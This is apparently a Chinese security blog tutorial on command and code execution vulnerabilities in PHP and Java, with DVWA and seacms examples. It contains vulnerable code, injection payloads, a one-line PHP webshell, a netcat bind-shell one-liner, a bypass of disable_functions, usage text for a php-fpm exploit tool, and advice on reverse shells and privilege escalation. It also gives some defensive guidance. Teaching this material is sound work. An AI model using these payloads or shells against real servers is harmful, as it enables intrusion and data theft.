发布于2022年11月5日3年前 ###命令执行定义 直接调用操作系统命令: 当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。 命令执行是指攻击者通过浏览器或者其他客户端软件提交一些cmd命令(或者bash命令)至服务器程序,服务器程序通过system、eval、exec等函数直接或者间接地调用cmd.exe执行攻击者提交的命令。 系统命令执行是指应用程序对传入命令行的参数过滤不严格导致恶意用户能控制最终执行的命令。应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。 ###命令执行与代码执行的判断与区别 参考OWASP的 代码注入和命令注入,其中的相关解释:可以用下面一句话判断是代码执行还是命令执行:执行效果是否受制于语言本身与其安全机制。 代码执行漏洞指的是可以执行PHP脚本代码,而命令执行漏洞指的是可以执行系统命令或应用指令(如cmd命令或bash命令)的漏洞。代码执行漏洞是调用系统命令的漏洞,命令执行漏洞是直接调用系统命令,又称为os命令执行漏洞。 这里先给大家看一下两种漏洞的区别,命令执行长这样: 代码执行长这样: 1.代码执行 1. 执行的效果完全受限于语言本身,只能执行当前语言的相关语法,不能达到执行系统命令的程度 2. 执行的效果不完全受限于语言本身 可执行当前语言的相关语法,可达到执行系统命令的程度,但可能受制于语言安全特性本身,得不到正常执行 2.命令执行 1. 执行的效果不受限于语言语法本身,不受命令本身限制,不能执行当前语言的相关语法,仅能达到间接执行系统命令; 2.可执行当前代码语言的相关语法,可达到间接执行系统命令的程度,不会受制于语言安全特性本身。 ###命令执行漏洞描述 命令执行漏洞是指代码未对用户可控参数做过滤,导致直接带入执行命令的代码中,对恶意构造的语句,可被用来执行任意命令。 用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码 ###命令执行漏洞原理 在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。 由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端执行。在某些应用时,有些会需要调用一些执行系统命令的函数,比如PHP中可以调用外部程序的常见函数:system() , exec() , shell_exec() , passthru() , popen() , proc_popen() 等函数...如果用户可以控制这些函数的参数,那么把参数替换成自己的恶意命令可以操作系统一些命令,这就是命令执行。 这里我用 shell_exec 这个函数来演示。 参数是 a ,并传参给 $cmd 这个变量,然后用 shell_exec 这个函数来执行,并让 echo 输出到页面上来,就是显示到网页当中。把CMD命令里的 whoami 这个查询当前用户的命令,传参给 a ,然后 a 赋值给变量 $cmd ,然后 shell_exec这个函数,就执行了执行了命令。 ###导致命令执行漏洞的原因 脚本语言(如PHP)优点是简洁、方便,但也伴随着一些问题,如速度慢、无法接触系统底层,如果我们开发的应用(特别是企业级的一些应用)需要一些除去WEB的特殊功能时,就需要调用一些外部程序. 当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。 在PHP中可以调用外部程序的常见函数:system、exec、shell_exec、passthru、popen、proc_popen。应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,又没有过滤用户的输入的情况下,就会造成命令执行漏洞。 1.代码层过滤不严格 一些商业应用需要执行命令,商业应用的一些核心代码可能封装在二进制文件中,在web应用中通过 system函数来调用:system("/bin/program --arg $arg"); 2.系统的漏洞造成命令执行 bash破壳漏洞(CVE-2014-6271),如果我们控制执行的bash的环境变量,就可以通过破壳漏洞来执行任意代码。 3.调用第三方组件存在代码执行漏洞 很典型的就是WordPress中,可以选择使用 ImageMagick这个常用的图片处理组件,对用户上传的图片进行处理(默认是ImageMagick库),造成命令执行。另外JAVA中的命令执行漏洞(struts2/Elasticsearch Groovy等)很常见。 典型的漏洞代码: <?php system($GET_[cmd]); ?> http://127.0.0.1:8080/?cmd=id http://192.168.188.66/index.php?cmd=||ping -i 30 127.0.0.1 http://192.168.188.66/index.php?cmd=||ping -n 30 127.0.0.1 & 如果应用程序过滤掉某些命令分隔符,为加大检测到命令注人漏洞的可能性,还应该轮流向每一个目标参数提交下面的每个测试字符串,并监控应用程序进行响应的时间。 http://192.168.188.66/index.php?cmd=I ping -i 30 127.0.0.1 I http://192.168.188.66/index.php?cmd=I ping -n 30 127.0.0.1 I http://192.168.188.66/index.php?cmd=& ping -i 30 127.0.0.1 & http://192.168.188.66/index.php?cmd=& ping -n 30 127.0.0.1 & http://192.168.188.66/index.php?cmd=;ping 127.0.0.1 ; http://192.168.188.66/index.php?cmd=%0a ping -i 30 127.0.0.1 %0a ' ping 127.0.0.1 ' 如果发生时间延迟,说明应用程序可能易于受到命令注人攻击。重复几次测试过程, 确定延迟不是由于网络延时或其他异常造成的。可以尝试更改-n或-i参数的值,并确定经历的时间延迟是否会随着提交的值发生对应的变化。使用所发现的任何一个可成功实施攻击的注人字符串,尝试注人另一个更有用的命令 (如Is或dir),确定是否能够将命令结果返回到浏览器上。 如果不能直接获得命令执行结果,还可以采用其他方法如下: 可以尝试打开一条通向自己计算机的带外通道。尝试使用TFTP上传工具至服务器,使用telnet或netcat建立一个通向自己计算机的反向shell,并使用mail命令通过SMTP 发送命令结果。 可以将命令结果重定向到Web根目录下的一个文件,然后使用浏览器直接获取结果。例如:dir > c:\inetpub\wwwroot\foo.txt,一旦找到注人命令的方法并能够获得命令执行结果,就应当城定自己的权限(通过使 用whoami或类似命令,或者尝试向一个受保护的目录写人一个无害的文件)。然后就可以设 法提升自己的权限,进而秘密访问应用程序中的敏感数据,或者通过被攻破的服务器攻击其他主机。 ###命令执行利用条件 1.代码中存在调用执行系统命令的函数 2.函数中存在我们可控的点并将用户输入作为系统命令的参数拼接到了命令行中 3. 没有对用户输入进行过滤或过滤不严 ###命令执行和代码执行模型 1.PHP命令执行与代码执行 PHP提供了部分函数来执行外部应用程序,例如:system(),shell_exec(),exec()和passthru()。 命令执行:system(),shell_exec(),exec(),passthru(),在使用php.exe传递参数时,如果命令中有空格,就用“”(双引号),linux中用单引号,如: php.exe cmd.php "|net user" 代码执行cmd.php中:<?php eval($_REQUEST['code'])?> 提交的数据::http://url/cmd.php?code=phpinfo(); 动态函数调用 <?php function A(){return ...;} function B(){return ...;} $fun = $_request['fun']; echo $fun();//动态调用函数 ?> 如果输入数据:http://url/function.php?fun=phpinfo就会执行phpinfo()函数。PHP函数代码执行漏洞:preg_replace(),ob_start(),array_map() (1)system函数 执行shell命令也就是向dos发送一条指令。system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型为: string system(string command,int &return_var) 其中,command是要执行的命令,return_var存放执行命令的执行后的状态 示例代码如下: <?php $dir = $_GET["dir"]; if(isset($dir)) { echo "<pre>"; system("net user".$dir); echo "</pre>"; } ?> 执行结果为: 上述代码就是把dir这个命令写死了,把net user执行的结果给$dir变量。但是注意一些连接符,管道符如:&,&&,|,||,:等,如果我们输入?dir=| netstat -an 注:|只执行后面的命令,||前后命令都执行。 (2)exec函数 执行外部程序,exec函数可以用来执行一个外部的应用程序,函数原型为: string exec(string command,array &output,int &return_var) 其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var是存放执行命令后的状态值。 示例代码: <?php $cmd = $_GET["cmd"]; $output = array(); echo "<pre>"; exec($cmd,$output); echo "</pre>"; while(list($key,$value)=each($output)) { echo $value."<br>"; } ?> 执行结果为: (3)passthru函数 执行外部程序并且显示原始输出,可以看出PHP可以执行系统命令,通过|、&、||起到命令连接的作用,通过输入时的合理构造可以使想要执行的命令和原本命令连接执行。passthru函数可以用来执行一个unix系统命令并显示原始的输出,当unix系统令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system和exec函数。原型为: void passthru(string command,int &teturn_var) 其中command是要执行的命令,return_var存放执行命令后的状态值。 示例代码如下: <?php $cmd = $_GET["cmd"]; echo "<pre>"; passthru($cmd); echo "</pre>"; ?> (4)shell_exec函数 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回,函数原型为: string shell_exec(string command) 其中command是要执行的命令。 <?php $cmd = $_GET["cmd"]; echo "<pre>"; shell_exec($cmd); echo "</pre>"; ?> (5)`运算符:与shell_exec功能相同,通常用于绕过黑名单 示例代码如下: <?php $cmd = $_GET["cmd"]; $output = `$cmd`; echo "<pre>"; echo $output; echo "</pre>"; ?> 执行结果为: (6)代码执行 eval()函数可以把字符串当作PHP代码来执行,也就是可以动态的执行PHP代码,使用这个函数时要保证输入的字符串必须屎合法的PHP代码,且必须以分号结尾。动态函数调用&PHP代码执行漏洞。出来可以利用函数命令注入攻击方式外还可以使用eval注入攻击方式,eval函数会将参数字符串作为php程序代码来执行,用户可以将php代码保存成字符串的形式,然后传递给eval函数执行。原型为: mixed eval(string code_str) 其中code_str是php代码字符串,通过构造传入eval函数中的全部或部分字符串的内容实现命令注入攻击。 示例代码: <?php $cmd = $_GET["cmd"]; echo "<pre>"; eval($cmd); echo "</pre>"; ?> 如果传入的内容为phpinfo();,若传入的是一句话木马<?php eval($_POST[cmd]);?>就可以直接拿shell。 示例结果为: 2.Java命令执行 在Java SE中,存在Runtime类,在该类中提供了exec方法用以在单独的进程中执行特定的字符串命令。像JSP,Servlet,Struts,Spring,Hibernate等技术一般执行外部程序都会调用此用法。开发人员没有正确使用Runtime类,就有可能造成Java命令执行漏洞。 代码如下: Runtime rt = Runtime.getRuntime(); Process proc = rt.exec("net user"); p = Runtime.getRuntime().exec(cmd); //取得命令结果的输出流 InputStream fis=p.getInputStream(); //用一个读输出流类去读 InputStreamReader isr=new InputStreamReader(fis); //用缓冲器读行 BufferedReader br=new BufferedReader(isr); String line=null; //直到读完为止 while((line=br.readLine())!=null) { System.out.println(line); } ###常用命令执行函数 php命令执行漏洞主要是一些函数的参数过滤不严格所导致,可以执行OS命令的函数一共有7个:system(), exec(), shell_exec(), passthru(), pcntl_exec(), popen(), proc_open()另外,反单引号(`)也可以执行命令,不过要调用shell_exec()函数. 1.system(),exec(),shell_exec()和passthru()函数是可以直接传入命令并且会返回执行结果。如:payload: <?php system('whoami');?> //返回当前web服务器用户 2.pcntl是php的多进程处理扩展,在处理大量任务的情况下会使用,如: void pcntl_exec(string $path, [,array $args [, array $envs]]) 3.popen()和proc_open()函数不会直接返回执行结果,而是返回一个文件指针。如:payload: <?php popen('whoami >>D:/2.txt','r'); ?> //两个参数,第二个参数是指针文件的连接模式,有r和w模式 4.反单引号(`)执行命令需要调用shell_exec()函数。 如:payload: <?php echo `whoami`;?> //返回当前用户 exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec() 、反引号` 实际上是使用shell_exec()函数; system() 输出并返回最后一行shell结果; exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。; passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上; popen()、proc_open() 不会直接返回执行结果,而是返回一个文件指针 <?php #system('net user'); #passthru ('dir'); #echo exec('whoami'); #echo shell_exec('whoami'); #echo `whoami`; ?> 1.shell_exec() string shell_exec ( string $cmd ) 执行命令,并将结果作为字符串返回。 返回值:如果执行失败,则返回NULL。执行成功则返回执行结果字符串。 注意:This function is disabled when PHP is running in safe mode 2.passthru() void passthru ( string $command [, int &$return_var ] ) 没有返回值,函数直接将执行结果返回给浏览器。函数第二个参数就是执行状态码:返回0表示成功,返回1表示失败。 3.exec() string exec(string command, string [array], int [return_var]); command – 需要执行的命令 array – 是输出值填充的数组(每一行作为数组的一项) return_var –是返回值0或1,如果返回0则执行成功,返回1则执行失败。 执行不成功时的方案:一个技巧就是使用管道命令, 使用 2>&1, 命令就会输出shell执行时的错误到$output变量, 输出该变量即可分析。 如:exec(‘convert a.jpg b.jpg’, $output, $return_val);改为:exec(‘convert a.jpg b.jpg 2>&1′, $output, $return_val); print_r($output); 4.system() string system ( string $command [, int &$return_var ] ) return_var :命令执行状态码。返回0表示成功,返回1表示失败。 返回值:返回执行结果的最后一行,如果失败返回FALSE. 5.函数的区别 1、shell_exec() 只返回,不输出。 2、passthru() 只输出,不返回。 有状态码 3、exec() 返回最后一行结果,所有结果可以保存到一个返回的数组里面。有状态码。 4、system() 输出返回最后一行结果。 有状态码 6.函数代码示例 (1)shell_exec() <?php $output = shell_exec('ls -lart'); echo "<pre>$output</pre>"; ?> (2)passthru() <?php passthru ('echo $PATH'); ?> (3)exec() $cmd = exec( ‘ping ‘ . $target ,$result,$code); $html .= ‘<pre>’.$cmd.'</pre>'; if ($code) { $html .=’shibai'; } else { $html .=’chenggong'; } (4)system() <?php echo '<pre>';// Outputs all the result of shellcommand “ls”, and returns // the last output line into $last_line. Stores the return value // of the shell command in $retval. $last_line = system(‘ls’, $retval);// Printing additional info echo ‘ </pre> <hr />Last line of the output: ‘ . $last_line . ‘ <hr />Return value: ‘ . $retval; ?> 7.防止命令执行漏洞函数 存在命令执行漏洞的原因是,未对输入命令进行过滤,导致可以shell命令的组合运行(即同时运行多个shell命令)。 shell命令的组合运行主要有一下几种(Linux下,windows下可能不适用):管道操作、重定向、逻辑分隔。 (1)管道操作 将一端的命令输出交给另一端的命令处理。格式: 命令1 | 命令2 如:ps aux | grep httpd (2)重定向 改变执行命令时的默认输入输出 类型操作符用途 重定向输入 < 从指定文件读取数据而不是从键盘读取 重定向输出 > 或>> 将输出结果覆盖、追加到指定文件(>覆盖、>>追加) 重定向标准错误输出 2>或 2>> 将错误信息覆盖或追加到指定文件 重定向混合输出 &> 或 &>> 将标准输出和错误信息覆盖或追加到指定文件 (3)逻辑分割 处理多条命令之间的逻辑关系 逻辑与 && 两条命令都要执行 逻辑或 || 若第一条命令执行成功,则不执行第二条命令(即只要有一条命令成功就不再继续执行命令) 顺序执行 ; 执行完第一条命令后执行第二条命令 ###命令执行漏洞分类 1.代码层过滤不严格 一些商业应用需要执行命令,商业应用的一些核心代码可能封装在二进制文件中,在web应用中通过system函数来调用: system(“/bin/program --arg $arg”); 2.系统漏洞造成命令注入 系统自身的漏洞-->bash破壳漏洞(CVE-2014-6271),如果我们能够控制执行的bash的环境变量,就可以通过破壳漏洞来执行任意代码 3.调用第三方组件存在代码执行漏洞 很典型的就是WordPress中,可以选择使用ImageMagick这个常用的图片处理组件,对用户上传的图片进行处理,造成命令执行,另外JAVA中的命令执行漏洞(struts2/Elasticsearch等)以及ThinkPHP命令执行很常见。 常见的框架漏洞: (1)struts2框架 Struts是一个优秀的MVC框架,被称为Java的三大框架之一,但Sruts的第二个版本却爆发了多次致命的命令执行漏洞。 Struts历史RCE漏洞回顾 Struts2漏洞POC汇总 针对action时,调用底层的java Bean的getter/setter方法处理http参数,将每个http参数声明为一个ongl语句。?user.address.city=bj&user['name']=admin--------转化为: obj.getUser().getAdress().setCity="bj";执行语句:java.lang.Runtime.getRuntime().exec("net user");也有:java.lang.processBuilder('command','goes','here').start()//进行创建进程进行执行命令 (2) ThinkPHP框架 导致代码执行的原因有两个,一是preg_replace使用了e修饰符,这样$var[\'\\1\']="\\2"; 会被当做php代码执行。而双引号的变量会被解析,导致了代码执行。 ###命令执行和代码执行漏洞利用 典型代码如下: <?php system($_GET['cmd']); ?> http://127.0.0.1:8080/?cmd=id 1.命令执行示例一 <?php $arg = $_GET['cmd']; if ($arg) { system("$arg"); } ?> 2.命令执行示例二 <?php $arg = $_GET['cmd']; if ($arg) { system("ping -c 3 $arg"); } ?> 3.命令执行示例三 <?php $arg = $_GET['cmd']; if ($arg) { system("ls -al "$arg""); } 注:若引号被转义,则可以用<b>\`id\`</b>来执行 示例四: <?php $arg = $_GET['cmd']; if ($arg) { system("ls -al '$arg'"); } 4.代码执行示例 在cmd.php中的代码如下: <?php eval($_REQUEST['code']); ?> 提交http://localhost/cmd.php?code=phpinfo() 后就会执行phpinfo() 动态函数调用在cmd.php中的代码如下: <?php $fun = $_GET['fun']; $par = $_GET['par']; $fun($par); ?> 提交http://localhost/cmd.php?fun=system&par=net user, 最终执行的是system("net user") 5.以代码层为例 1.sysem($data): 可控点直接是待执行的程序,我们如果能直接控制它,就能执行任意命令。 2.sysem("/bin/prog $data"): 可控点是传入程序的整个参数,我们可以直接利用&&或|等等,利用管道命令来执行其它命令。如果$data被escapeshellcmd(除去字符串中的特殊符号)函数处理了,我们可以看看这个程序自身是否有“执行外部命令”的参数或功能,比如Linux下的sendmail命令自带读写文件的功能,我们可以用来写webshell。 测试直接输入;ls 3.sysem("/bin/prog -p $data"): 可控点是传入程序的某个参数值,同样可以使用前者的方法进行绕过。 4.system("/bin/prog --p=\"$arg\""); 可控点是传入程序的某个参数的值(有双引号包裹)因为有引号包裹,首先要分析引号是否被转义,如果没有被转义,先闭合引号,然后利用方法同上,如果被转义,双引号内的变量依然会被解析,利用反引号执行任意命令`id` 测试可以输入';ls;' 5.system("/bin/prog --p='$arg'"); 可控点是传入程序的某个参数的值(有单引号包裹)单引号内只是一个字符串,所以只能闭合单引号,才可利用。 测试可以输入:可以输入";ls;" 6.sysem("/bin/prog -p \"$data\" "): 可控点是传入程序的某个参数值并用双引号包裹。分两种情况绕过: ①引号未转义,我们可以先闭合引号再用管道命令进行绕过。 ②引号被使用addslashes函数转义,这种情况下我们可以在双引号内利用反引号(键盘上的波浪线按键)执行任意命令。 在Linux上,上面的;也可以用|、||代替 ;前面的执行完执行后面的 |是管道符,显示后面的执行结果 ||当前面的执行出错时执行后面的 在Windows上,不能用;可以用&、&&、|、||代替 &前面的语句为假则直接执行后面的 &&前面的语句为假则直接出错,后面的也不执行 |直接执行后面的语句 ||前面出错执行后面的 ###命令执行漏洞的测试方法 最可靠的方法使用时间延迟推断,类似与盲注的方法。 1.在URL上cmd=xxxxxx后拼接||ping -i 30 127.0.0.1 (&)应用程序I ping -i 30 127.0.0.1 I 可能过滤掉某些命令分隔符 可以换做下面的命令: I ping -n 30 127.0.0.1 I & ping -i 30 127.0.0.1 & & ping -n 30 127.0.0.1 & ;ping 127.0.0.1 ; %0a ping -i 30 127.0.0.1 %0a ' ping 127.0.0.1 ' 注意windows和linux的语法不同: windows支持:&&,&,||(哪条名令为真执行那条) linux支持:&&,&,||(执行为真) | (执行后面的语句) 2.发生延迟,说明程序可能易于受到命令注入的攻击,对尝试几次,确定不是因为网络延迟造成的,更改-i -n 数值,确定时间延迟是否随着提交的值发生变化。 3.使用发现的所有可成功实施注入的字符串,尝试注入dir、ls 4不能在浏览器直接看到回显,可将命令重定向到当前目录下的文件中并查看。或者用TFTP上传工具到服务器,用telnet和netcat建立反向shell,用mail通过SMTP发送结果给自己的计算机。 5.查看自己的权限,可以提升自己权限,访问敏感数据或控制服务器。 可以利用nc来监听4444端口,再进行管道的重定向: ;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe 在Kali Linux中直接nc连接上该服务器: ###PHP webshell命令执行防御及绕过方法 1.PHP禁止webshell执行命令防御 PHP的配置文件php.ini里面有个disable_functions =配置这个,禁止某些php函数,便可以禁止php的命令执行漏洞,例如: disable_functions=system,passthru,shell_exec,exec,popen 2.PHP webshell命令执行绕过方法 (1)黑名单绕过 php能够执行系统命令的函数有: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,`(反单引号) 根据黑名单中没有的函数,即可绕过。 (2)系统组件绕过 只适用于windows,代码如下: <?php $command = $_POST[a]; $wsh = new COM('WScript.shell'); //生成一个COM对象 $exec = $wsh->exec('cmd.exe /c '.$command);//调用对象方法来执行命令 $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput ?> 如何防御:直接删除system32下的wshom.ocx文件 (3)拓展库绕过 3.PHP create_function()注入命令执行漏洞 在PHP中使用create_function()创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。 ###命令执行漏洞实列 1.demo漏洞实列一 <?php $log_string =$_GET[‘log’]; system("echo \"".date("Y-m-d H:i:s ")." ".$log_string."\" >> /logs/".$pre."/".$pre.".".date("Y-m-d").".log");} ?> 恶意用户只需要构造xxx.php?log='id'形式的URL,即可通过浏览器在远程服务器上执行任意系统命令 2.demo漏洞实例二 <?php $target=$_REQUEST['ip']; $cmd = shell_exec('ping '.$target); echo "<pre>{$cmd}</pre>"; ?> 提交 http://127.0.0.1/cmd.php?ip=|net user 提交以后,命令变成了 shell_exec('ping '.|net user) 3.dvwa漏洞实列三 在系统终端中,要想输入多条命令,可以在一条命令结束之后用分号(;)来隔开进而进行下一条命令的执行。另外也可以通过&&来替换分号,前提是前面的命令正确执行之后才能接着执行后面的命令。命令执行漏洞也正因此而产生。 先看low级: 按照提示输入正确IP地址时,返回正确的ping命令信息,若输入非IP地址,返回错误。 然后输入正确的IP地址并且连接命令看看(这里安全级别设置为low) 提示让我们输入一个IP地址来实现ping,猜测会是在系统终端中实现的,输入以下语句结果发现是存在命令执行漏洞的: 此时将分号换成&&也是可以的: 如果直接不输给ping IP地址而是直接一个分号后面接其他命令也是OK的,因为在系统终端这些命令都是能正常执行的: 但是如果在ping命令后使用&&号但没有给ping命令输入IP地址时,这时候将不会返回任何值,因为&&号后面命令是建立在前面命令已经正确执行的前提之下的,但是此时ping命令并没有正确执行了。 Low级别:输入的ip值不经任何处理,直接作为参数传入,造成的结果就是使用命令连接字符可以输入任意命令来执行 low级别的源码: <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?> Medium级别: 相当于加了一个黑名单,将输入ip值中的 &&和 ; 变成空,然后作为参数输入,可以有效过滤&&连接字符,但是对于黑名单之外的例如 || 字符没有过滤,依然可以构造命令注入。|| 使用就是当前边的命令执行失败后执行后边的命令。 Medium级别的源码: <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?> 两个命令之间用&号表明这两条命令会同时执行,顺序先后不一定。测试结果如下: 可以看出命令显示的时候是嵌套显示的,也就是说几个命令在同时执行。另外一点注意的是,&号与&&号不同,因为是同时执行,所以并不存在前面的命令必须执行了后面的命令才能执行的问题。例子中不输入IP地址也能执行后面的命令: 管道符能正常执行,但管道符的限制是只显示后面那条命令的执行结果: 另外也有两个管道符(||)的用法,但是条件是前面的命令执行失败,和&&号的相反: 当然,因为该过滤机制只是过滤了分号或&&字符,因此也可以使用&;&的嵌套组合来进行绕过: High级别: 对获取的ip值,先去下划线处理,然后根据’.’来分成数组,判断是否分成四份且每一份是数字的,然后还原回去,对ip值进行ping操作,否则判定输入ip值为非法ip格式。经过这样的处理,输入的只能是ip格式的参数,确保了执行输入参数的安全性。 High级别源码: <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?> 4.海洋cms漏洞实列四 命令执行常用的函数,eval(),system(),proc_open()之类的,因此能执行php代码一般就是 eval() 函数 , 搜索一下这个页面有eval函数的地方 for($m=0;$m<$arlen;$m++){ $strIf=$iar[1][$m]; $strIf=$this->parseStrIf($strIf); $strThen=$iar[2][$m]; $strThen=$this->parseSubIf($strThen); if (strpos($strThen,$labelRule2)===false){ if(strpos($strThen,$labelRule3)>=0){ $elsearray=explode($labelRule3,$strThen); $strThen1=$elsearray[0]; $strElse1=$elsearray[1]; @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}"); if ($ifFlag){$content=str_replace($iar[0][$m],$strThen1,$content);} else{$content=str_replace($iar[0][$m],$strElse1,$content);} }else{ @eval("if(".$strIf.") { \$ifFlag=true;} else{\$ifFlag=false;}"); if ($ifFlag)$content=str_replace($iar[0][$m],$strThen,$content); else$content=str_replace($iar[0][$m],"",$content);} 可以在这里下个断点,把变量打印出来,就可以清晰的看到就是在这执行了我们的命令: http://192.168.0.37search.php?searchtype=5&tid=&area=eval($_POST[cmd]) 5.其他漏洞实列 (1)Python反序列化漏洞 有如下一段关于python pickle反序列化操作的示例代码: import os import pickle class A(object): def __reduce__(self): # return os.system, ('print 1;', ) return os.system, ('echo 1 > 1.txt', ) p = pickle.dumps(A()) # print p pickle.loads(p) 如果你执行的上面那段代码的话,就会在当前目录下创建一个写着"1"的"1.txt"文件。这执行的其实是系统命令 echo 1 > 1.txt 如果填入python相关语法,比如 print 1; 它是不会当作python代码被执行而输出"1"的,是被当作系统命令执行。 这种情况下Python反序列化漏洞 执行的效果不受语言本身和安全机制限制,仅受限于你执行的什么命令,属于命令执行漏洞(不能执行当前语言的相关语法,仅能达到间接执行系统命令) (2)PHPMailer漏洞 这个漏洞执行的是攻击者的PHP代码段,本来也可以利用php相关函数,比如exec() 、system() 来执行一些系统命令,可以称为命令执行漏洞的。 但是如果用来执行系统命令的php函数都加进了php.ini 的 disable_functions中,其实这个漏洞就不能执行系统命令了,受限于语言的安全特性本身。所以它是代码执行漏洞 (不完全受限于语言本身). (3)php-fpm fastcgi 9000端口未授权漏洞 这个漏洞看第一个链接就清楚了,在知道目标网站一个php文件的绝对路径的情况下,是可以执行代码并间接执行命令的. phith0n 写的工具 fpm.py,对上面同一个目标,执行php代码并可以间接系统命令。 根据fastcgi漏洞的利用工具的说明,PHP-FPM >= 5.3.3 才能执行系统命令。 -------------------------------- PHP Fastcgi Remote Code Execute Exploit. Date: 2012-09-15 Author: [email protected] Note: Only for research purpose -------------------------------- Usage: fcgi_exp.exe <cmd> <ip> <port> <file> [comma d] cmd: phpinfo, system, read the SYSTEM cmd only affects PHP-FPM >= 5.3.3 ip: Target ip to exploit with. port: Target port running php-fpm. file: File to read or execute. command: Command to execute by system. Must use with cmd 'system'. Example: fcgi_exp.exe system 127.0.0.1 9000 /var/www/ tml/index.php "whoami" fcgi_exp.exe phpinfo 127.0.0.1 9000 /var/www html/index.php > phpinfo.html fcgi_exp.exe read 127.0.0.1 9000 /etc/issue 也许你会认为,php都受制于php的安全机制,这个也应当是代码执行漏洞。 但依照我的想法这个漏洞其实应属于命令执行漏洞。这也是比较好玩的地方。根据第一篇文章可以知道: 通过设置FASTCGI_PARAMS,我们可以利用PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置 也就是说,这个漏洞可以改写php.ini的安全设置,绕过限制,达到远程命令执行,而不仅仅是代码执行并受制于php,所以应归为命令执行(可执行当前代码语言的相关语法,可达到间接执行系统命令的程度,不会受制于语言安全特性本身) (4)Struts相关漏洞 S2-029 Struts2 标签远程代码执行分析(含POC) 通过上面文章就会发现 Struts2 的漏洞其实是通过 ognl 表达式,间接执行了系统命令,应属于命令执行漏洞(不能执行当前语言的相关语法,仅能达到间接执行系统命令) ###命令执行挖掘漏洞 注:下文的提到的漏洞均已获授权进行测试,并交由厂商修复。 这些年挖漏洞的白帽子们都躲不开一个词“序列化”,何为序列化? 以下是来自wiki的描述(https://en.wikipedia.org/wiki/Serialization) 看English好像难为小伙伴们了,这里直接给大家两个资源吧,小伙伴们去实验一遍就知道了~~ Java反序列化漏洞产生的原因在于: java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景:HTTP请求中的参数,cookies以及Parameters。RMI协议,被广泛使用的RMI协议完全基于序列化。JMX 同样用于处理序列化对象。自定义协议 用来接收与发送原始的java对象。在序列化过程中会使用ObjectOutputStream类的writeObject()方法,在接收数据后一般又会采用ObjectInputStream类的readObject()方法进行反序列化读取数据 合天网安实验室Java反序列化漏洞实验主页: http://www.hetianlab.com/expc.do?ce=58830dcd-d0e1-4ff2-baaf-ac396b687b79 PHP反序列化漏洞产生的原因在于: 在php中,序列化过程中会涉及两个魔术方法,__sleep()和__wakeup(),serialize() 检查类中是否有魔术名称 __sleep 的函数,如果有,则该函数在序列化之前运行,它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。如果该函数没有返回什么数据,则不会有什么数据被序列化,并且会发出一个 E_NOTICE 错误。unserialize()检查具有魔术名称 __wakeup 的方法的存在,如果有,一样先运行该方法。但对于传入的序列化字符串,如果有错误,在进行反序列化的时候就会不触发 __wakeup() 这个方法,从而绕过该方法中的限制,造成漏洞。 合天网安实验室PHP反序列漏洞实验主页:http://www.hetianlab.com/expc.do?ce=b8cb1c08-5330-4766-a44e-89dd54cae1d1 